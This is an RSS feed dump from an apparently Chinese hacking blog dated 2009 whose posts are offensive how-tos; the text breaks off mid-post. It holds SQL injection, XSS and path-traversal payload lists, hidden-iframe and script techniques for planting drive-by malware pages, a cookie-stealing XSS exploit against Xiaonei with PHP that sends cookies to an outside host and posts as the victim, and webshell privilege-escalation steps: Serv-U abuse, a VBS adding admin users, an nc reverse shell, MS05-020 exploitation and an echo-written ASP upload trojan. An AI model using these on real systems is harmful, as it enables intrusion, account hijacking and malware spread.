/>&lt;SCRIPT&gt;document.write(&quot;&lt;SCRI&quot;);&lt;/SCRIPT&gt;PT SRC=&quot;&quot; target=&quot;_blank&quot;&gt;http://xss.ha.ckers.org/a.js&quot;&gt;&lt;/SCRIPT&gt; <br />&lt;A HREF=http://www.gohttp://www.google.com/ogle.com/&gt;link&lt;/A&gt; <br />%0a%0a&lt;script&gt;alert(\&quot;Vulnerable\&quot;)&lt;/script&gt;.jsp <br />%22%3cscript%3ealert(%22xss%22)%3c/script%3e <br />%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd <br />%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini <br />%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e <br />%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e <br />%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html <br />%3f.jsp <br />%3f.jsp <br />&amp;lt;script&amp;gt;alert('Vulnerable');&amp;lt;/script&amp;gt <br />&lt;script&gt;alert('Vulnerable')&lt;/script&gt; <br />?sql_debug=1 <br />a%5c.aspx <br />a.jsp/&lt;script&gt;alert('Vulnerable')&lt;/script&gt; <br />a/ <br />a?&lt;script&gt;alert('Vulnerable')&lt;/script&gt; <br />&quot;&gt;&lt;script&gt;alert('Vulnerable')&lt;/script&gt; <br />';exec%20master..xp_cmdshell%20'dir%20 c:%20&gt;%20c:\inetpub\wwwroot\?.txt'--&amp;&amp; <br />%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E <br />%3Cscript%3Ealert(document. domain);%3C/script%3E&amp; <br />%3Cscript%3Ealert(document.domain);%3C/script%3E&amp;SESSION_ID={SESSION_ID}&amp;SESSION_ID= <br />1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= <br />../../../../../../../../etc/passwd <br />..\..\..\..\..\..\..\..\windows\system.ini <br />\..\..\..\..\..\..\..\..\windows\system.ini <br />'';!--&quot;&lt;XSS&gt;=&amp;{()}<br />'or''='<br />'or'='or'<br />admin'-- <br />' or 0=0 -- <br />&quot; or 0=0 -- <br />or 0=0 -- <br />' or 0=0 # <br />&quot; or 0=0 # <br />or 0=0 # <br />' or 'x'='x <br />&quot; or &quot;x&quot;=&quot;x <br />') or ('x'='x <br />' or 1=1-- <br />&quot; or 1=1-- <br />or 1=1-- <br />' or a=a-- <br />&quot; or &quot;a&quot;=&quot;a <br />') or ('a'='a <br />&quot;) or (&quot;a&quot;=&quot;a <br />hi&quot; or &quot;a&quot;=&quot;a <br />hi&quot; or 1=1 -- <br />hi' or 1=1 -- <br />hi' or 'a'='a <br />hi') or ('a'='a <br />hi&quot;) or (&quot;a&quot;=&quot;a</p>]]></description><category>黑客技术</category><comments>http://www.mk2leo.com/post/141.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=141</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=141&amp;key=82873f4d</trackback:ping></item><item><title>挂马方式和系统判断等代码</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/140.html</link><pubDate>Fri, 17 Apr 2009 05:53:09 +0800</pubDate><guid>http://www.mk2leo.com/post/140.html</guid><description><![CDATA[<p>一:框架挂马<br />&lt;iframe src=地址 width=0 height=0&gt;&lt;/iframe&gt;<br /><br />二:js文件挂马 <br />首先将以下代码<br />document.write(&quot;&lt;iframe width='0' height='0' src='地址'&gt;&lt;/iframe&gt;&quot;);<br />保存为xxx.js，<br />则JS挂马代码为<br />&lt;script language=javascript src=xxx.js&gt;&lt;/script&gt;<br /><br />三:js变形加密 <br />&lt;SCRIPT language=&quot;JScript.Encode&quot; src=http://www.upx.com.cn/muma.txt&gt;&lt;/script&gt;<br />muma.txt可改成任意后缀<br /><br />四:body挂马<br />&lt;body onload=&quot;window.location='地址';&quot;&gt;&lt;/body&gt;<br /><br />五:隐蔽挂马<br />top.document.body.innerHTML = top.document.body.innerHTML + '\r\n&lt;iframe src=&quot;http://www.upx.com.cn/muma.htm/&quot;&gt;&lt;/iframe&gt;';<br /><br />六:css中挂马<br />body {<br />background-image: url('javascript:document.write(&quot;&lt;script src=http://www.upx.com.cn/muma.js&gt;&lt;/script&gt;&quot;)')}<br /><br />七:JAJA挂马<br />&lt;SCRIPT language=javascript&gt; <br />window.open (&quot;地址&quot;,&quot;&quot;,&quot;toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1&quot;); <br />&lt;/script&gt;<br /><br />八:图片伪装<br />&lt;html&gt;<br />&lt;iframe src=&quot;网马地址&quot; height=0 width=0&gt;&lt;/iframe&gt;<br />&lt;img src=&quot;图片地址&quot;&gt;&lt;/center&gt;<br />&lt;/html&gt;<br /><br />九:伪装调用：<br />&lt;frameset rows=&quot;444,0&quot; cols=&quot;*&quot;&gt;<br />&lt;frame src=&quot;打开网页&quot; framborder=&quot;no&quot; scrolling=&quot;auto&quot; noresize marginwidth=&quot;0&quot;margingheight=&quot;0&quot;&gt;<br />&lt;frame src=&quot;网马地址&quot; frameborder=&quot;no&quot; scrolling=&quot;no&quot; noresize marginwidth=&quot;0&quot;margingheight=&quot;0&quot;&gt;<br />&lt;/frameset&gt;<br /><br />十:高级欺骗<br />&lt;a href=&quot;http://www.163.com(迷惑连接地址，显示这个地址指向木马地址)&quot; onMouseOver=&quot;www_163_com(); return true;&quot;&gt; 页面要显示的内容 &lt;/a&gt;<br />&lt;SCRIPT Language=&quot;JavaScript&quot;&gt;<br />function www_163_com ()<br />{<br />var url=&quot;网马地址&quot;;<br />open(url,&quot;NewWindow&quot;,&quot;toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10&quot;);<br />}<br />&lt;/SCRIPT&gt;<br /><br />十一:判断系统代码<br />&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0 Transitional//EN&quot;&gt;<br />&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;404&lt;/TITLE&gt;<br />&lt;META http-equiv=Content-Type content=&quot;text/html; charset=windows-1252&quot;&gt;<br />&lt;META content=&quot;MSHTML 6.00.2900.2769&quot; name=GENERATOR&gt;&lt;/HEAD&gt;<br />&lt;BODY&gt;<br />&lt;SCRIPT language=javascript&gt;<br />window.status=&quot;&quot;;<br />if(navigator.userAgent.indexOf(&quot;Windows NT 5.1&quot;) != -1)<br />window.location.href=&quot;tk.htm&quot;;<br />else<br />window.location.href=&quot;upx06014.htm&quot;;<br />&lt;/SCRIPT&gt;<br />&lt;/BODY&gt;&lt;/HTML&gt;<br /><br />十二:判断是否有ms06014代码<br />&lt;script language=VBScript&gt;<br />on error resume next<br />set server = document.createElement(&quot;object&quot;)<br />server.setAttribute &quot;classid&quot;, &quot;clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E&quot;<br />set File = server.createobject(Adodb.Stream,&quot;&quot;)<br />if Not Err.Number = 0 then<br />err.clear<br />document.write (&quot;&lt;iframe src=http://upx.com.cn width=100% height=100% scrolling=no frameborder=0&gt;&quot;)<br />else<br />document.write (&quot;&lt;iframe src=http://upx.com.cn width=100% height=100% scrolling=no frameborder=0&gt;&quot;)<br />end if<br />&lt;/script&gt;<br /><br />十三:智能读取js的代码demo<br />//读娶src的对象<br />var v = document.getElementById(&quot;advjs&quot;);<br />//读娶src的参数<br />var u_num = getUrlParameterAdv(&quot;showmatrix_num&quot;,v.getAttribute('src'));<br />document.write(&quot;&lt;iframe src=\&quot;http://www.upx.com.cn/1/&quot;+u_num+&quot;.htm\&quot; width=\&quot;0\&quot; height=\&quot;0\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&quot;);<br />document.writeln(&quot;&lt;!DOCTYPE HTML PUBLIC \&quot;-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\&quot;&gt;&quot;);<br />document.writeln(&quot;&lt;HTML&gt;&lt;HEAD&gt;&quot;);<br />document.writeln(&quot;&lt;META http-equiv=Content-Type content=\&quot;text\/html; charset=big5\&quot;&gt;&quot;);<br />document.writeln(&quot;&lt;META content=\&quot;MSHTML 6.00.2900.3059\&quot; name=GENERATOR&gt;&lt;\/HEAD&gt;&quot;);<br />document.writeln(&quot;&lt;BODY&gt; &quot;);<br />document.writeln(&quot;&lt;DIV style=\&quot;CURSOR: url(\'http:\/\/www.upx.com.cn\/demo.js\')\&quot;&gt;&quot;);<br />document.writeln(&quot;&lt;DIV &quot;);<br />document.writeln(&quot;style=\&quot;CURSOR: url(\'http:\/\/www.upx.com.cn\/demo.js\')\&quot;&gt;&lt;\/DIV&gt;&lt;\/DIV&gt;&lt;\/BODY&gt;&lt;\/HTML&gt;&quot;)<br />//分析src的参数函数<br />function getUrlParameterAdv(asName,lsURL){<br />loU = lsURL.split(&quot;?&quot;);<br />if (loU.length&gt;1){<br />var loallPm = loU[1].split(&quot;&amp;&quot;);<br />for (var i=0; i&lt;loallPm.length; i++){<br />var loPm = loallPm<i>.split(&quot;=&quot;);<br />if (loPm[0]==asName){<br />if (loPm.length&gt;1){<br />return loPm[1];<br />}else{<br />return &quot;&quot;;<br />}<br />}<br />}<br />}<br />return null;<br />}</i></p>]]></description><category>黑客技术</category><comments>http://www.mk2leo.com/post/140.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=140</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=140&amp;key=909013db</trackback:ping></item><item><title>提权重要目录</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/134.html</link><pubDate>Tue, 14 Apr 2009 23:03:26 +0800</pubDate><guid>http://www.mk2leo.com/post/134.html</guid><description><![CDATA[<p>C:\Documents and Settings\All Users\「开始」菜单\程序\ &nbsp; &nbsp; －－&lsquo;看这里能不能跳转，我们从这里可以获取好多有用的信息比如Serv-U的路径。<br />C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ －－&lsquo;看能否跳转到这个目录，如果行那就最好了，直接下它的CIF文件，破解得到pcAnywhere密码，然后登陆<br />c:\Program Files\serv-u\ &nbsp; &nbsp; －－&lsquo;不用我多说了吧<br />C:\WINNT\system32\config\ &nbsp; －－&lsquo;下它的SAM，破解密码<br />c:\winnt\system32\inetsrv\data\ &nbsp; －－&lsquo;明星级目录，是erveryone 完全控制，很多时候没作限制，把提升权限的工具上传上去，然后执行<br />c:\prel <br />C:\Program Files\Java Web Start\<br />c:\Documents and Settings\ <br />C:\Documents and Settings\All Users\Documents\ &nbsp; －－－&lsquo;很多时候data目录不行，试试这个很多主机都是erveryone 完全控制！<br />c:\Program Files\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; －－－&lsquo;一般都能访问，可以看看它都安装了什么软件<br />C:\Program Files\Microsoft SQL Server\ <br />c:\Temp\ <br />c:\mysql\(如果服务器支持PHP） <br />c:\PHP(如果服务器支持PHP）<br />c:\Documents and Settings\All Users\「开始」菜单\程序\启动 &nbsp; －－&lsquo;如果实在没办法，可以试下这个，在里面写入bat，vbs等木马。<br />C:\PROGRAM FILES\KV2004\ &nbsp; &nbsp; &nbsp; －－&lsquo;替换它服务<br />D:\PROGRAM FILES\RISING\RAV\ &nbsp; &nbsp; －－－&lsquo;替换它服务<br />C:\Program Files\Real\RealServer\ &nbsp; －－－&lsquo;替换它服务<br />最后就是－－－根目录下隐藏</p>]]></description><category>黑客技术</category><comments>http://www.mk2leo.com/post/134.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=134</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=134&amp;key=10d49cc8</trackback:ping></item><item><title>校内网一个跨站漏洞的利用</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/133.html</link><pubDate>Mon, 13 Apr 2009 22:27:59 +0800</pubDate><guid>http://www.mk2leo.com/post/133.html</guid><description><![CDATA[<p>作者：<a href="http://bbs.wolvez.org/post/190/" target="_blank">Flyh4t</a></p><p>校内网在发blog时对插入图片过滤不严格，存在xss漏洞</p><p>在发blog时将插入图片URL写为如下代码即可触发：</p><pre><code>javascript:window.location.href='http://xxxxx/test.php?cookie='+document.cookie</code></pre><p>test.php的作用是窃取cookie、伪造阅览者身份发一个blog、跳转到一个正常的日志,代码如下：<br />&nbsp;</p><pre><code>&lt;?phpob_start();$url = 'blog.xiaonei.com';$cookie=$_GET['cookie'];$cookie1=$cookie.&quot;\r\n\r\n&quot;;fputs(fopen('a.txt','a+'),$cookie1); //cookie写入 a.txt//发一条伪造的日志，这条日志里面也可以插入恶意代码$sock = fsockopen(&quot;$url&quot;, 80, $errno, $errstr, 30);if (!$sock) die(&quot;$errstr ($errno)\n&quot;);$data = &quot;title=test by fly&amp;body=test by fly&amp;categoryId=0&amp;blogControl=99&amp;passwordProtedted=0&amp;passWord=&amp;blog_pic_id=&amp;pic_path=&amp;activity=&amp;id=&amp;relative_optpe=&quot;;fwrite($sock, &quot;POST http://$url/NewEntry.do HTTP/1.1\r\n&quot;);fwrite($sock, &quot;Accept: */*\r\n&quot;);fwrite($sock, &quot;Referer: http://$url\r\n&quot;);fwrite($sock, &quot;Accept-Language: zh-cn\r\n&quot;);fwrite($sock, &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;);fwrite($sock, &quot;Accept-Encoding: gzip, deflate\r\n&quot;);fwrite($sock, &quot;User-Agent: Mozilla\r\n&quot;);fwrite($sock, &quot;Host: $url\r\n&quot;);fwrite($sock, &quot;Content-Length: &quot;.strlen($data).&quot;\r\n&quot;);fwrite($sock, &quot;Connection: Keep-Alive\r\n&quot;);fwrite($sock, &quot;Cache-Control: no-cache\r\n&quot;);fwrite($sock, &quot;Cookie:&quot;.$cookie.&quot;\r\n\r\n&quot;);fwrite($sock, $data);</code></pre><div class="entry-tags"><br />&nbsp;</div>]]></description><category>黑客技术</category><comments>http://www.mk2leo.com/post/133.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=133</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=133&amp;key=3362ac89</trackback:ping></item><item><title>经典webshell提权集合</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/130.html</link><pubDate>Thu, 09 Apr 2009 22:27:12 +0800</pubDate><guid>http://www.mk2leo.com/post/130.html</guid><description><![CDATA[<p>说到花了九牛二虎的力气获得了一个webshell，<br />当然还想继续获得整个服务器的admin权限，正如不想得到admin的不是好黑客～<br />嘻嘻～～好跟我来，看看有什么可以利用的来提升权限</p><p>第一<br />如果服务器上有装了pcanywhere服务端，管理员为了管理方便<br />也给了我们方便，到系统盘的Documents and Settings/All Us<br />ers/Application Data/Symantec/pcAnywhere/中下载*.cif本地<br />破解就使用pcanywhere连接就ok了</p><p>第二<br />有很多小黑问我这么把webshell的iis user权限提升<br />一般服务器的管理都是本机设计完毕然后上传到空间里，<br />那么就会用到ftp，服务器使用最多的就是servu<br />那么我们就利用servu来提升权限<br />通过servu提升权限需要servu安装目录可写～</p><p>好开始把，首先通过webshell访问servu安装文件夹下的ServUDaemon.ini把他下载<br />下来，然后在本机上安装一个servu把ServUDaemon.ini放到本地安装文件夹下覆盖，<br />启动servu添加了一个用户，设置为系统管理员，目录C:\，具有可执行权限<br />然后去servu安装目录里把ServUDaemon.ini更换服务器上的。</p><p>用我新建的用户和密码连接～<br />好的，还是连上了<br />ftp<br />ftp&gt;open ip<br />Connected to ip.<br />220 Serv-U FTP Server v5.0.0.4 for WinSock ready&hellip;<br />User (ip:(none)): id //刚才添加的用户<br />331 User name okay, please send complete E-mail address as password.<br />Password:password //密码<br />230 User logged in, proceed.<br />ftp&gt; cd winnt //进入win2k的winnt目录<br />250 Directory changed to /WINNT<br />ftp&gt;cd system32 //进入system32目录<br />250 Directory changed to /WINNT/system32<br />ftp&gt;quote site exec net.exe user rover rover1234 /add //利用系统的net.exe<br />文件加用户。</p><p>如果提示没有权限，那我们就<br />把后门（server.exe） 传他system32目录<br />然后写一个VBs教本<br />set wshshell=createobject (&rdquo;wscript.shell&rdquo;)<br />a=wshshell.run (&rdquo;cmd.exe /c net user user pass /add&rdquo;,0)<br />b=wshshell.run (&rdquo;cmd.exe /c net localgroup Administrators user /add&rdquo;,0)<br />b=wshshell.run (&rdquo;cmd.exe /c server.exe&rdquo;,0)</p><p>存为xx.vbe<br />这个教本的作用是建立user用户密码为pass<br />并且提升为管理员<br />然后执行system32目录下的server.exe<br />把这个教本传他 C:\Documents and Settings\All Users\「开始」菜单\程序\启动<br />目录<br />这样管理员只要一登陆就会执行那个教本.<br />接下来就是等了.等他登陆.<br />****************************************************************************<br />第三<br />就是先检查有什么系统服务，或者随系统启动自动启动的程序和管理员经常使用的软件， 比如诺顿，VAdministrator，金山，瑞星,WinRAR甚至QQ之类的，是否可以写，如果可以就修改其程序， 绑定一个批处理或者VBS，然后还是等待服务器重启。<br />****************************************************************************<br />第四<br />查找conn和config ,pass这类型的文件看能否得到sa或者mysql的相关密码，可能会有所<br />收获等等。<br />****************************************************************************<br />第五<br />使用Flashfxp也能提升权限，但是成功率就看你自己的运气了<br />首先找到FlashFXP文件夹，打开(编辑)Sites. dat，这个文件这是什么东西密码和用户名，<br />而且密码是加了密的。 如果我把这些文件copy回本地也就是我的计算机中，替换我本地的相应文件。然后会发现 打开flashfxp在站点中打开站点管理器一样。又可以添加N多肉鸡啦～～嘻嘻～</p><p>唔？？不对啊，是来提升权限的啊，晕，接着来别半途而废。<br />大家看看对方管理员的这站点管理器，有用户名和密码，密码是星号的。经过用xp星号密码 查看器查看，然后和Sites.dat中加密了密码做比较发现并未加密而是查到的密码是明文显示， 然后最终把这个网站管理员的密码从这堆东西中找<br />出来。那么下一步就可以链接这些新的服务器啦～～<br />经过测试只要把含有密码和用户名的Sites.dat文件替换到本地相应的文件就可以在本地<br />还原对方管理员的各个站点的密码。<br />****************************************************************************<br />第六</p><p>WIN2K+IIS5.0默认情况下应用程序保护选项是&rdquo;中（共用的）&rdquo;，这时IIS加载isapi是用的<br />iwam_computername用户身份执行。<br />但默认情况下WIN2K+IIS5对于一些特殊isapi又要以system身份加载。win2k+iis5 、<br />win2k+iis5+sp1、win2k+iis5+sp2都是简单的判断isapi的文件名，并且没有做目录限制，<br />以SYSTEM权限加载的isapi有：<br />1、 idq.dll<br />2、 httpext.dll<br />3、 httpodbc.dll<br />4、 ssinc.dll<br />5、 msw3prt.dll<br />6、 author.dll<br />7、 admin.dll<br />8、 shtml.dll<br />9、 sspifilt.dll<br />10、compfilt.dll<br />11、pwsdata.dll<br />12、md5filt.dll<br />13、fpexedll.dll</p><p>所以利用这很容易得到SYSTEM权限。并且判断文件名的时候有个bug，比如请求/scripts/test%81%5cssinc.dll也将会认为是请求的ssinc.dll,就是分离文件路径的时候没有考虑到双字节的 远东版问题。ssinc.dll在处理包含文件路径的时候也有一个问题，就是 &ldquo;/&rdquo;、&rdquo;\&rdquo;只识别了一个 &ldquo;/&rdquo;，所以如果请求里面使用&rdquo;\&rdquo;，就会错误的处理包含文件路径，有可能泄露东西或者出现权限 漏洞，这种漏洞很多别的地方（ php、asp等）也还存在。</p><p>加载这些isapi不是单以文件名做依据了，而是加了路径，应该是修正了此问题。<br />一般默认情况下是：<br />1、 idq.dll d:\winnt\system32\idq.dll<br />2、 httpext.dll d:\winnt\system32\inetsrv\httpext.dll<br />3、 httpodbc.dll d:\winnt\system32\inetsrv\httpodbc.dll<br />4、 ssinc.dll d:\winnt\system32\inrtsrv\ssinc.dll<br />5、 msw3prt.dll d:\winnt\system32\msw3prt.dll<br />6、 author.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_aut\author.dll<br />7、 admin.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_adm\admin.dll<br />8、 shtml.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\shtml.dll<br />9、 sspifilt.dll d:\winnt\system32\inetsrv\sspifilt.dll<br />10、compfilt.dll d:\winnt\system32\inetsrv\compfilt.dll<br />11、pwsdata.dll d:\winnt\system32\inetsrv\pwsdata.dll<br />12、md5filt.dll d:\winnt\system32\inetsrv\md5filt.dll<br />13、fpexedll.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\bin\fpexedll.dll</p><p>正常情况下这些路径都guest不能写,但如果配置不好，这些路径iis user能够写了就一样可以提升权限了</p><p>可以把ISAPIHack.dll上传到IIS的可执行目录，文件名可叫ssinc.dll或者admin.dll等（上面列的13个文件名之一）。<br />然后等待IIS重启加载此dll，就可以获得权限了<br />****************************************************************************<br />第七</p><p>下载系统的 %windir%\repair\sam.*（WinNT 4下是sam._ 而Windows 2000下是sam）文件，<br />然后用L0pht等软件进行破解，只要能拿到，肯花时间，就一定可以破解。<br />****************************************************************************<br />第八<br />PipeUpAdmin（Windows 2000下）, 在本机运行可以把当前用户帐号加入管理员组。普通用户和Guests组用户都可以成功运行。<br />****************************************************************************<br />第九<br />Serv-u Ftp Server 本地权限提升漏洞：<br />很多主机的C:\Documents and Settings\All Users\ Documents目录以及下边几个子目录Documents没有设置权限，导致可以在这个目录上传并运行Exp. 直接上传了serv-u local exploit 和nc, 并且把serv-u的本地提升权限的名字命名为su.exe 文件就放在C:\Documents and Settings\All Users\ Documents, 然后我们用 su.exe直接建立用户,也可以反弹一个shell过来的。<br />具体命令：<br />建立用户: serv-u.exe &ldquo;cmd&rdquo;<br />&gt;USER xl<br />&gt;PASS 111111</p><p>反弹shell: serv-u.exe &ldquo;nc.exe -l -p 99 -e cmd.exe&rdquo;</p><p>很不错的提权新方法<br />今天我要带给大家的是，当我们得到WEBSHELL后如何得到SYSTEM权限的新方法， 提升权限这个已经是老生常谈了，网络上已经有很多种提升权限的方法了，在这里我就不在提了，今天我给大家介绍的是就是主动利用MS05020漏洞来达到我们提升权限的目的。<br />MS05020是一个IE漏洞，2005.4份的时候微软就发步了这个公告：<br />安全漏洞CN-VA05-025<br />发布日期：2005-04-13<br />漏洞类型：远程执行代码<br />漏洞评估：高危<br />受影响版本：<br />Microsoft Windows 2000 Service Pack 3 和 Microsoft Windows 2000 Service Pack 4<br />Microsoft Windows XP Service Pack 1 和 Microsoft Windows XP Service Pack 2<br />Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium)<br />Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium)<br />Microsoft Windows Server 2003<br />Microsoft Windows Server 2003 (用于基于 Itanium 的系统)Microsoft Windows 98、 Microsoft Windows 98 Second Edition (SE) 和 Microsoft Windows Millennium Edition (ME) 测试过的 Microsoft Windows 组件：<br />漏洞描述：<br />Internet Explorer 由于其处理某些 DHTML 对象的方式而存在一个远程执行代码漏洞。 攻击者可以通过构建恶意的网页来利用该漏洞。 如果某个用户访问了恶意网站，此恶意网页就可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。Internet Explorer 由于其处理某些 URL 的方式而存在一个远程执行代码漏洞。 攻击者可以通过构建恶意的网页来利用该漏洞。 如果某个用户访问了恶意网站，此恶意网页就可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。Internet Explorer 由于其处理分级审查文件的方法而存在一个远程执行代码漏洞。 攻击者可以通过构造特制的分级审查文件来利用此漏洞。 如果用户访问了恶意网站或查看了恶意的电子邮件，并接受安装此恶意分级审查文件，则该文件可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。 不过，要利用此漏洞，需要进行大量用户交互。</p><p>大家看到上面的漏洞描述了吗？当被人浏览的时候才会受到攻击，平时我们利用IE漏洞都是先把有攻击性的页面放到网上，然后等待别人去浏览，这样浏览者就会中招了。<br />今天我们要提升权限，那自然是让我们要提升权限的主机去浏览存在漏洞的页面了，那当我们得到WEBSHELL后怎么才能让主机去浏览这个页面呢？<br />Ms05020的EXP网页代码已经出来了，大家可以到：<br />http://www.eviloctal.com/forum/read.php?tid=10127<br />去下载，假如我们已经把这个EXP放到http://www.xxxx.com/ms05020.html的地方，<br />下面我们开始利用这个EXP，进入到我们的ASP木马，打开CMDSHELL，如果用不了的，大家自己想办法解决（可以自己上传一个CMD.EXE上去）。<br />在命令行里输入：start http://www.xxxx.com/ms05020.html 然后点执行。</p><p>这个时候主机的IE就会去访问我们的这个MS05020.HTML，那么如果主机没有打扑钉的话，就会绑定一个28876的断口在主机上。<br />接着我们输入：netstat -an | find &ldquo;28876&Prime; 看看是否成功绑定，第一次的话，会慢一些，大家要等待一下，我这里很快就成功了。然后我们telnet上去马上就成功了</p><p>大家看到了：（我添加了一个temp的管理员）</p><p>现在我们已经拿到SYSTEM权限了 ，大家还想干什么不可以？</p><p>后记：其实大家还可以先上传NC，然后连接到本地后，再输入：<br />start http://www.xxx.com/ms05020.html也是可以的。<br />还有就是如果可以的话还可以这样输入：<br />start &ldquo;C:\Program Files\Internet Explorer\icxplore.exe&rdquo; http://www.xxx.com/ms05020.htm<br />这个要看你的情况了，一般虚拟主机如果允许访问的话，那还是用第一个命令好了！<br />我测试过在2K pro、 2K server(2000 Enterprise Terminal Server) 、2003都成功过！不过也有不成功的时候，而且不成功的概率很大，特别是到虚拟机的时候，有一次我没有成功，然后我开了3389进入，发现IE没有弹出来，而是出来了一个IE设置向导，也就是说这个服务器没有对IE进行网络设置IE是无法访问网络的，艾，其实我现在也没有搞清楚是怎么会事有点能成功有点不行，想也想不通，因为 start ist:http://www.xxx.com/xxx.exe总是能成功！<br />把XXX。EXE下载到它的电脑上面！我最后认为估计这个还是和MS05020.HTM这个文件有关。艾，看来这个方法的利用价值也很小了，本来不想发出来了的，既然写出来了，还是发表出来一下吧！刚刚和无敌讨论了一下，他也是说不成功的原因估计也是这个，还有就是系统打了IE补丁。</p>]]></description><category>黑客技术</category><comments>http://www.mk2leo.com/post/130.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=130</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=130&amp;key=95c924ec</trackback:ping></item><item><title>Cmd模式下的入侵技术</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/124.html</link><pubDate>Wed, 01 Apr 2009 00:00:23 +0800</pubDate><guid>http://www.mk2leo.com/post/124.html</guid><description><![CDATA[<p>对于现在,各种入侵工具已是泛滥,有利有弊,不过我们大家(有些只会用工具而又自称为黑客的)都不应忘记我们本应有的技术.<br />今天我就来发个贴子,如果看了没什么用的,那就关了,如果看了受益的,就回个贴,也算是一种支持!我还会继续努力~<br /><br />前言<br />Cmd Shell(命令行交互)是黑客永恒的话题，它历史悠久并且长盛不衰。<br />本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。<br />文件传输<br />于溢出漏洞获得的cmd shell，最大的问题就是如何上传文件。由于蠕虫病毒流行，连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$ 的保护，通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法，介于其已被大家熟知，本文就不介绍了。还有三种大家熟悉的办法，作为总结我再提一下：<br /><br />1，用Echo命令写ASP木马。<br />前提当然是目标主机上已经安装了IIS。<br />一般的ASP木马&quot;体积&quot;较大，不适合直接用echo命令写入文件，这里我提供一个小巧的。<br />直接给出echo版：<br />@echo ^&lt;%with server.createobject(&quot;adodb.stream&quot;):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring(&quot;s&quot;)),2:end with%^&gt; &gt;up.asp<br />注意，只有一行，中间没有回车符。<br />生成的up.asp不能用浏览器访问，只能用下面这个脚本：<br />with wscrīpt<br />if .arguments.count&lt;3 then .quit<br />url=.arguments(0)&amp;&quot;?s=&quot;&amp;.arguments(2)<br />fn=.arguments(1)<br />end with<br />with createobject(&quot;adodb.stream&quot;)<br />.type=1:.open:.loadfromfile fn:s=.read:.close<br />end with<br />with createobject(&quot;microsoft.xmlhttp&quot;)<br />.open &quot;post&quot;,url,false:.send s<br />wscrīpt.echo .statustext<br />end with<br />将其保存为up.vbs。假设目标IP为123.45.67.89，up.asp在IIS虚拟根目录下，需要上传的文件为nc.exe，上传后保存为mm.exe，相应的命令是：<br />cscrīpt up.vbs <a href="http://123.45.67.89/up.asp" target="_blank">http://123.45.67.89/up.asp</a> nc.exe mm.exe<br />注意，这个命令是在本地命令行中执行的，不要弄错了。另外，通过IIS上传会留日志，要记得清除哦。<br />2，自动下载到网页缓存中。<br />例如：start its:<a href="http://www.sometips.com/soft/ps.exe" target="_blank">http://www.sometips.com/soft/ps.exe</a><br />在远程shell中执行上面这个命令后，ps.exe已经下载到目标主机的网页缓存目录中了。然后：<br />cd &quot;C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5&quot;<br />dir /s ps[1].exe<br />于是获得ps.exe的具体位置(每台主机都不一样)，如：<br />C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT 的目录<br />2004-01-24 14:24 49,152 ps[1].exe<br />1 个文件 49,152 字节<br />最后：<br />copy AB094JIT\ps[1].exe c:\path\ps.exe<br />del AB094JIT\ps[1].exe<br />补充说明：<br 